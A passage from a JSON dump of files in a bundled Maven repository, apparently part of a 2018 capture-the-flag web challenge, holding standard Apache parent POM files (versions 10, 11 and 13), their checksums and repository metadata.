<groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3.1</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.0</version>\n          <dependencies>\n            <dependency>\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-ssh</artifactId>\n              <version>1.0</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>0.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.4</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.3</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n              <useAgent>${gpg.useagent}</useAgent>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/10/apache-10.pom.sha1",
    "content": "48296e511366fa13aad48c58d8e09721774abec6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/11/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:13 CST 2018\napache-11.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/11/apache-11.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/asf/ -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>11</version>\n  <packaging>pom</packaging>\n\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <url>http://www.apache.org/</url>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-11</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-11</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-11</url>\n  </scm>\n\n  <distributionManagement>\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n    <gpg.useagent>true</gpg.useagent>\n  </properties>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.8.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.1</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release ${arguments}</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.1</version>\n          <dependencies>\n            <dependency>\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-ssh</artifactId>\n              <version>1.0</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.12</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>0.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.5</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.4</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n              <useAgent>${gpg.useagent}</useAgent>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/11/apache-11.pom.sha1",
    "content": "cb35e3b8eb7f1adbdc91e015b60d0da3a4e16c4f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/13/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:42 CST 2018\napache-13.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/13/apache-13.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/asf/ -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>13</version>\n  <packaging>pom</packaging>\n\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <url>http://www.apache.org/</url>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-13</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-13</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-13</url>\n  </scm>\n\n  <distributionManagement>\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n    <gpg.useagent>true</gpg.useagent>\n    <arguments />\n  </properties>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-failsafe-plugin</artifactId>\n          <version>2.12.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.2</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release ${arguments}</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <version>1.0-beta-2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.12.4</version><!-- keep maven-failsafe-plugin in sync -->\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>0.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- 